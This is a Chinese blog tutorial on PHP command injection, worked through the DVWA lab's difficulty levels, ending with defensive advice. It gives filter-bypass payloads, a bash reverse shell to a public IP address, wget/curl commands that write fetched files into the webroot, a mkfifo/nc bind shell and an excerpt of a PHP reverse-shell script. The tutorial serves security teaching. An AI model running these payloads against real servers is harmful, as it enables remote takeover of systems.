命令执行漏洞


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

命令执行漏洞

        相关函数

漏洞分类

什么是代码执行?

利用条件

常用命令

漏洞利用

Low 等级

Medium 等级

High 等级

Impossible 等级

安全防御


命令执行漏洞

      命令执行漏洞之所以会产生,原因就是由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意语句,并交由服务器端执行

相关函数

在PHP中可以调用外部程序的常见函数:

     • system(args) 有回显
     • passthru(args)(有回显)
     • exec(args) (回显最后一行-必须echo输出)
     • shell_exec(args) (无回显-必须输出)
     • 反引号:``
     • popen(handle,mode)(无回显)
     • proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
     • $process = proc_open(‘dir’,$des,$pipes);
     • echo stream_get_contents($pipes[1]);

漏洞危害

  • 继承Web服务器程序的权限,去执行系统命令
  • 继承Web服务器程序的权限,读写文件
  • 反弹shell
  • 控制整个网站
  • 甚至控制整个服务器

代码层:一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用;

系统层:(bash破壳漏洞)如果我们能够控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码;

第三方组件层:很典型的就是wordpress中,可以选择使用imageMagick这个常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,另外java中的命令执行漏洞(struts2/Elasticsearch等)
 

其原理为:在操作系统中,“;、&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

 

漏洞分类

1、代码层过滤不严 
使用户输入命令执行 
防御: 
     • 尽量少用执行系统命令的函数,并在disable_functions中禁用
     • 对用户输入的参数,使用escapeshellcmd(去除字符串中的特殊符号)与escapeshellarg(给字符串增加一个单引号并能引用或者转码任何已经存在的单引号)
     • 接受的参数变量尽量用引号包裹,并在拼接前调用addslashes进行转义
2、系统的漏洞造成命令注入 
     • bash破壳漏洞
3、调用第三方组件中存在代码执行漏洞 
     • wordpress:imagemagick漏洞 
     • java : struts2漏洞

 

什么是代码执行?

什么是代码执行:

        当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个
|字符串,将造成代码注入漏洞。

 

利用条件

1、应用调用执行系统命令的函数

2、将用户输入作为系统命令的参数拼接到了命令行中 

 

常见命令拼接符: 

     • && :执行两个命令,若前面出错,后面不会执行 
     • & : 执行两个命令,若前面出错,后面还是会执行 
     • || : 执行正确的那个命令,前面的失败,后面也会执行,前面成功,后面不会执行 
     • | : 只会执行后面的命令 

注:再多说一点点废话,命令拼接的废话,直接看举例好了:

  • ;

         如果命令被分号(;)所分隔,那么命令会连续的执行下去,就算是错误的命令也会继续执行后面的命令

ls /etc/ ; cat /var/home
  • &&

         如果命令被 && 所分隔,那么命令也会一直执行下去,但是中间有错误的命令就不会执行后面的命令,就继续执行直至命令执行完为止

127.x.0.1 && whoami
  • ||

       如果命令被双竖线 || 所分隔,那么一遇到可以执行成功的命令就会停止执行后面的命令,而不管后面的命令是否正确。如果执行到错误的命令就是继续执行后一个命令,直到遇到执行到正确的命令或命令执行完为止

ping 127.x.x.1 || whoami

 

命令拼接符例子:

在windows和linux都支持,如果程序没有进行过滤,那么我们可以通过连接符来执行多条命令

Command 1 && Command 2    先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1 |  Command 2    只执行Command 2
Command 1 &  Command 2    先执行Command 1,不管是否成功,都会执行Command 2

3、没有对用户输入进行过滤或过滤不严

 

     在php中:eval,assert,passthru,preg_replace( '/*/e','$ret="\\1";',$data);

system:成功则返回命令输出的最后一行,失败则返回FALSE。
exec:命令执行结果的最后一行内容。
shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
passthru:执行外部程序并且显示原始输出。
eval:将输入的字符串参数当做PHP程序代码来执行。
assert
preg_replace
call_user_func

     • 在asp中:evaI, execute,executeglobal

     • 在jsp中:jsp中没有php中的eval 函数可以使用反射机制 , 使用基于反射机制
的表达式引擎,如OGNL, SpEL, MVEL等

 

常用命令:

代码执行:eval、assert、preg_replace

命令执行:system、passthru、exec、shell_exec

 

system()函数漏洞利用_1

    • /?cmd=id
    • /?cmd=pwd
    • /?cmd=ifconfig

 

system()函数漏洞利用_2

我们能够控制的点是程序的整个参数,我们可以直接用&&或|等等,利用与、或、管道命令来执行其他命令。
• /?cmd=127.0.0.1| ifconfig

System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分号 ”;”
|,||,%26,%26%26,
中间加任意字符,后面都会执行-,//,/*/


system()函数漏洞利用_3

逻辑与短路

// 短路与&&的特点,前面如果为真,才执行后面的,如果为假,都不执行。
// 逻辑与&的特点,前面无论真假,后面都执行
// 短路或||&的特点,前面如果为真,后面的不执行了,前面为假,后面执行
// 逻辑或|前面无论真假,后面都执行

echo "
";
var_dump($a);
var_dump($b);
?>

• /?cmd=/home” ; ifconfig;”
• /?cmd=/home” | ifconfig;”
• /?cmd=/home” %26 ifconfig;”
• /?cmd=/home” %26%26 ifconfig;”

 

system()函数利用_4

在单引号内的话,变量不能被解析,因此要想执行命令必须闭合单引号。
• /cmd?=/home’|ipconfig ’

漏洞利用

如果有写权限的话

想办法获取pwd得到绝对路径
1、写文件:
    • ?cmd=echo"" > /var/www/html/info.php
    • ?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
    • ?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php

2、反弹shell
    公网服务器执行 nc –lvv 8888

3、目标服务器上执行
   • ?cmd= bash -i >& /dev/tcp/211.149.191.5/9999 0>&1
 

 

Low 等级

     从下面代码,我们可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致命令注入漏洞的产生

'.$cmd.'
'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '
'.$cmd.'
'; } } ?>

命令执行漏洞_第1张图片

Low 代码关键字分析:

strustr:搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分。

php_uname:返回运行PHP操作系统的相关描述。

      s:返回操作系统名称

      n:返回主机名

      r:返回版本名

 

由于windows和linux都可以用&&来执行多条命令,所以可以构造payload:127.0.0.1&&net user

PS:这里肯定有朋友再Command Injection里的ping 命令,发现展示的内容有乱码,以下时解决方法:

解决办法:

打开项目的目录:x://…/dvwa/includes,进入inclludes文件,打开dvwaPage.inc.php,把文件里的utf-8 改为gb2312,保存后再页面重新ping一下,发现页面展示正常

命令执行漏洞_第2张图片

 

命令执行漏洞_第3张图片

执行成功,用 ";"号命令拼接符合查询成功,大家可以自己试试另外三个命令拼接符 "&、|、||"

命令执行漏洞_第4张图片

 

Medium 等级

设置了黑名单,可以使用 |、&,  str_replace把‘&&’,‘;’替换为空字符串

 '', 
        ';' => '', 
    ); 

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
     
    // Determine OS and execute the ping command. 
    if (stristr(php_uname('s'), 'Windows NT')) {  
     
        $cmd = shell_exec( 'ping  ' . $target ); 
        echo '
'.$cmd.'
'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '
'.$cmd.'
'; } } ?>

命令执行漏洞_第5张图片

构造 payload:

PS:留一个思考问题,为什么这样的payload 能绕过?先想一下,不懂的话,再翻到这篇文章开头部分(利用条件节点知识)查看

127.0.0.1 &;& whoami

127.0.0.1 & whoami

127.0.0.1 xxxx || whoami

执行Payload

127.0.0.1 &;& whoami

命令执行漏洞_第6张图片

 

执行Payload

127.0.0.1 & whoami

命令执行漏洞_第7张图片

 

执行Payload

127.0.0.1 xxxx||whoami

命令执行漏洞_第8张图片

 

High 等级

相比于前面两个等级的,高等级完善了黑名单,但是由于黑名单的局限性,我们可以看出来他只是过滤掉了“| ”,如果|后不跟空格则可以绕过过滤

 '', 
        ';'  => '', 
        '| ' => '', 
        '-'  => '', 
        '$'  => '', 
        '('  => '', 
        ')'  => '', 
        '`'  => '', 
        '||' => '', 
    ); 

    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 

    // Feedback for the end user 
    echo "
{$cmd}
"; } ?>

命令执行漏洞_第9张图片

执行Payload

   127.0.0.1|dir

   127.0.0.1|| whoami

解题payload,不一定只有这两个,大家可以自己尝试其它类型的payload

命令执行漏洞_第10张图片

 

Impossible 等级

判断你的IP地址的格式,将输入的内容以点为分隔符,进行判断且必须为数字

{$cmd}
"; } else { // Ops. Let the user name theres a mistake echo '
ERROR: You have entered an invalid IP.
'; } } // Generate Anti-CSRF token generateSessionToken(); ?>

      调用系统命令,本身就是非常危险的动作,开发过程中应尽量避免,实在无法避免,应该进行严格过滤,白名单要比黑名单好点。尽量使用静态,例如需要测试网络连通性,应内置一个ip地址,而不是让用户自行输入

 

实例:

1、利用命令执行漏洞,开启目标机的服务器4444端口

;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

注:mkfifo 使用指定的文件名创建FIFO(也称为"命名管道").

       "FIFO"是一种特殊的文件类型,它允许独立的进程通讯. 一个进程打开FIFO文件进行写操作,而另一个进程对之进行读操作, 然后数据便可以如同在shell或者其它地方常见的的匿名管道一样流线执行.

3、kali生成反弹shell

$ /etc/init.d/apache2 start
$ cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/1.php

$ vim /var/www/html/1.php

     // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
 
     set_time_limit (0);
     $VERSION = "1.0";
     $ip = '192.168.71.131';  // CHANGE THIS
     $port = 1234;       // CHANGE THIS
     $chunk_size = 1400;
     $write_a = null;
     $error_a = null;
     $shell = 'uname -a; w; id; /bin/sh -i';
     $daemon = 0;
     $debug = 0;
 
     // Daemonise ourself if possible to avoid zombies later

4、kali 打开侦听端口

$ nc -nvlp 1234

5、利用命令执行漏洞

命令执行漏洞_第11张图片

6、结果

命令执行漏洞_第12张图片

为什么反弹的是kali的shell?

;curl http://192.168.71.131/1.php 这条命令实际是在 kali(192.168.71.131)机器上执行了,所以反弹的是自身的shell。

注意PHP文件在哪台机器上,其中的代码就会在哪台机器上执行。

利用这个特性,可以实现一个初级的隐蔽的方法(web层面)
命令执行漏洞_第13张图片

参考链接:

https://blog.csdn.net/qq389674856/article/details/82632403

https://blog.csdn.net/qq_37133717/article/details/95231291

 

安全防御

  1. 尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入,系统命令执行函数禁止外部传参
  2. 验证数据类型、格式、长度、范围和内容
  3. 客户端与服务端都需要做验证与过滤
  4. 对输出的数据也要做安全检查
  5. 在进入命令执行的函数或方法之前,对参数进行过滤
  6. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
  7. 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disabl_functions中禁用

我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(Web,命令执行,渗透测试,Web,命令执行,前渗透篇)